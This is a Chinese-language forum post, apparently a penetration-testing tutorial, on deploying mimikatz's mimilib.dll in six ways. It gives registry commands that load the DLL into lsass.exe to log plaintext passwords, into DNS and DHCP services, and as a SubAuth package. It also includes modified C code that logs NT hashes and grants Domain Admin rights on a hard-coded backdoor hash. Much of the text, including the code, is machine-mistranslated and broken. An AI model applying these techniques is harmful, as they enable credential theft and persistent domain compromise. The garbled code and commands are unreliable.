尖REN 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 Mimilib是米米卡茨的子工程,编译成功后生成文件mimilib.dll,包含多个导出函数。 目前介绍这个动态链接库用法的资料比较少,于是我将结合自己的测试结果,逐个介绍mimilib.dll导出函数的用法。 0x01 简介 本文将要介绍以下内容: Mimilib导出函数简介 6种功能的具体用法 0x02 Mimilib导出函数简介 对应文件的地址为: https://github。com/gentili kiwi/mimikatz/blob/master/mimilib/mimilib。极好的 内容如下: 出口 startW=kappfree_startW spl samode initialize=kssp _ spl samode initialize InitializeChangeNotify=k filt _ InitializeChangeNotify passwordchangentify=k filt _ passwordchangentify WinDbgExtensionDllInit=kdbg _ WinDbgExtensionDllInit extensionapi版本=kdbg _ extensionapi版本 咖啡=kdbg _咖啡 mimikatz=kdbg_mimikatz DnsPluginInitialize=kdns _ DnsPluginInitialize dnspluginclean up=kdns _ dnspluginclean up DnsPluginQuery=kdns _ DnsPluginQuery DhcpServerCalloutEntry=kdh CP _ DhcpServerCalloutEntry dhcpnewpkthoook=kdh CP _ dhcpnewpkthoook ms v1 _ 0 subauthenticationroutine=ksub _ ms v1 _ 0 subauthenticationroutine ms v1 _ 0 subauthenticationfilter=ksub _ ms v1 _ 0 subauthenticationroutine 我将以上导出函数划分成了6个实用的功能 0x03 6种功能的具体用法 1.Security Support Provider 对应导出函数如下: SpLsaModeInitialize 使用方法: 将mimilib.dll保存至%SystemRoot%\System32 修改注册表位置:HKEY _ LOCAL _ MACHINE \ System \ current Control set \ Control \ Lsa \ 注册表项安全包的值添加一个mimilib 重新启动系统 进程lsass.exe将会加载mimilib.dll,同时在%SystemRoot%\System32生成文件kiwissp.log,记录当前用户的明文口令,测试结果如下图 如果想在不重新启动系统的条件下实现相同的功能,可参考之前的分析文章: 米米卡茨中法定病假工资的使用 域渗透——安全支持提供商 2.PasswordChangeNotify 对应导出函数如下: InitializeChangeNotify 密码更改通知 使用方法: 将mimilib.dll保存至%SystemRoot%\System32 修改注册表位置:HKEY _ LOCAL _ MACHINE \ System \ current Control set \ Control \ Lsa \ 注册表项通知包的值添加一个mimilib 重新启动系统 进程lsass.exe将会加载mimilib.dll,当系统发生修改密码的事件时,在%SystemRoot%\System32生成文件kiwifilter.log,记录用户新修改的明文口令,测试结果如下图 如果想在不重新启动系统的条件下实现相同的功能,可参考之前的分析文章: 域渗透——挂钩密码更改通知 3.WinDbg Extension 对应导出函数如下: WinDbgExtensionDllInit ExtensionApiVersion 咖啡 米米卡茨 使用方法: 将mimilib.dll保存至WinDbg的winext目录 我的测试环境(服务器2012R2x64)保存的路径为:C:\ Program Files \ Windows调试工具(x64)\winext 启动WinDbg 加载插件的命令如下:加载mimilib 测试结果如下图 调用命名实例: !咖啡 4.DnsPlugin 对应导出函数如下: DnsPluginInitialize DnsPluginCleanup DnsPluginQuery 使用方法: 需要在十进位计数制服务器上进行测试 将mimilib.dll保存至%SystemRoot%\System32 修改注册表位置:HKEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\ services \ DNS \ Parameters \ 新建注册表项ServerLevelPluginDll,类型为REG_SZ,值为mimilib.dll 对应的煤矿管理局命令如下: 注册添加HKLM \系统\当前控制集\服务\ DNS \参数/v服务器级别插件Dll /t REG_SZ /d 'mimilib.dll' /f 重新启动系统 进程dns.exe将会加载mimilib.dll,当系统发生十进位计数制查询事件时,在%SystemRoot%\System32生成文件kiwidns.log,记录信息如下: QueryName 查询类型 测试结果如下图 如果想远程实现相同的功能,可参考之前的分析文章: 域渗透——利用dnscmd在域名服务器(域名服务器)服务器上实现远程加载动态链接库 5.DHCP callout DLL 对应导出函数如下: DhcpServerCalloutEntry dhcpnewpkthoook 使用方法: 需要在动态主机配置协议服务器上进行测试 修改源代码,设置需要禁用的测量与控制(测量和控制)地址,对应代码位置:https://github。com/gentili kiwi/mimikatz/blob/master/Mimi lib/kdh CP。c # L35 将mimilib.dll保存至%SystemRoot%\System32 修改注册表位置:HKEY _ LOCAL _ MACHINE \ System \当前控制集\服务\ DHCP服务器\参数 新建注册表项CalloutDlls,类型为注册_多重_SZ值为mimilib.dll 新建注册表项有能力的,类型为DWORD,值为一 对应的煤矿管理局命令如下: 注册添加HKLM \系统\当前控制集\服务\ DHCPServer \参数/v callout dll/t REG _ MULTI _ SZ/d ' Mimi lib。dll '/f 注册添加HKLM \系统\当前控制集\服务\ DHCP服务器\参数/v CalloutEnabled/t REG _ DWORD/d 1/f 重新启动系统 进程svchost.exe将会加载mimilib.dll,将对应测量与控制(测量和控制)地址的动态主机配置协议请求丢弃 参考资料: https://份文件。微软。com/en-us/previous-versions/windows/桌面/DHCP/how-the-DHCP-server-API-operations 6.SubAuth 对应导出函数如下: Msv1_0SubAuthenticationRoutine Msv1_0SubAuthenticationFilter 使用方法: 将mimilib.dll保存至%SystemRoot%\System32 修改注册表位置:HKEY _ LOCAL _ MACHINE \ SYSTEM \ current Control set \ Control \ Lsa \ ms v1 _ 0 新建注册表项Auth0,类型为REG_SZ,值为mimilib 对应的煤矿管理局命令如下: 注册添加HKLM \系统\当前控制集\控制\ Lsa \ ms v1 _ 0/v auth 0/t REG _ SZ/d ' Mimi lib '/f 如果是域环境,需要在域控制器上进行设置 修改注册表位置:HKEY _ LOCAL _ MACHINE \ SYSTEM \ current Control set \ Control \ Lsa \ Kerberos 新建注册表项Auth0,类型为REG_SZ,值为mimilib 对应的煤矿管理局命令如下: 注册添加HKLM \系统\当前控制集\控制\ Lsa \ Kerberos/v auth 0/t REG _ SZ/d ' Mimi lib '/f 重新启动系统 进程lsass.exe将会加载mimilib.dll,当系统产生登录事件时,在%SystemRoot%\System32生成文件kiwisub.log,记录信息如下: 使用者辩证码 PrimaryGroupId LogonDomainName 用户名 工作站 BadPasswordCount 混杂 这里需要注意当系统开机时,会记录计算机帐户的登录内容 这里可以尝试加入显示时间的代码,就能够获得每台主机的开机时间和用户登录时间 对应代码地址:https://github。com/gentili kiwi/mimikatz/blob/master/Mimi lib/ksub。c 修改后的内容如下: /*本杰明德尔皮 http://blog.gentilkiwi.com [email protected] 文森特勒图 http://pingcastle.com/http://mysmartlogon.com [email protected] 许可证:https://creative commons . org/licenses/by/4.0/ */ #包含" ksub.h " 常量字节我的哈希[LM _ NTLM _哈希_长度]={0xea,0x37,0x0c,0xb7,0xb9,0x44,0x70,0x2c,0x09,0x68,0x30,0xdf,0xc3,0x53,0xe7,0x 02 };//Waza1234/admin NTSTATUS NTAPI ksub _ ms v1 _ 0 subauthenticationroutine(在NETLOGON_LOGON_INFO_CLASS登录级别中,在PVOID登录信息中,在乌龙标志中,在PUSER _所有_信息用户所有中,在普隆哪些字段中,在普隆用户标志中,在PBOOLEAN权威中,在PLARGE_INTEGER登录时间中,在PLARGE _ INTEGER KickoffTime时间中) { FILE * ksub _ logfile #杂注警告(推送) #杂注警告(禁用:4996) if(ksub _ log file=_ wf open(L ' kiwi sub。log ',L'a ')) #杂注警告(流行音乐) { 系统时间st GetLocalTime(ST); klog(ksub_logfile,l'd-d-d d:d:d % u(% u)-% wz \ \ % wz(% wz)(% Hu)',st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wsecond,UserAll-UserId,UserAll-PrimaryGroupId,((PNETLOGON_LOGON_IDENTITY _ info)登录主名称,((pnet logon _ identity _ info)登录信息)-用户名,((pnet logon _ logon _ identity _ identity) if(UserAll-NtPasswordPresent) klog_hash(ksub_logfile,UserAll-NtPassword,FALSE); if((user all-BadPasswordCount==4)| |(user all-nt password present rtleequalmemory(user all-nt password .Buffer,myHash,min(sizeof(myHash),UserAll-NtPassword .长度)))) { user all-primary groupid=512; klog(ksub_logfile,L ')\ n '); } else klog(ksub_logfile,L ' \ n '); fclose(ksub _ log文件); } *哪些字段=0; *用户标志=0; *权威=真实; 注销时间-quad part=开始时间-quad part=0x 7 fffffffffffffff; 返回状态_成功; } 测试结果如下图 参考资料: https://github。com/Microsoft/Windows-classic-Samples/tree/master/Samples/win 7 Samples/security/authentic ation/msvsubauth https://份文件。微软。com/en-us/windows/win32/sec authn/ms v1-0-认证包 0x04 小结 本文介绍了Mimilib中6种功能的具体用法。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子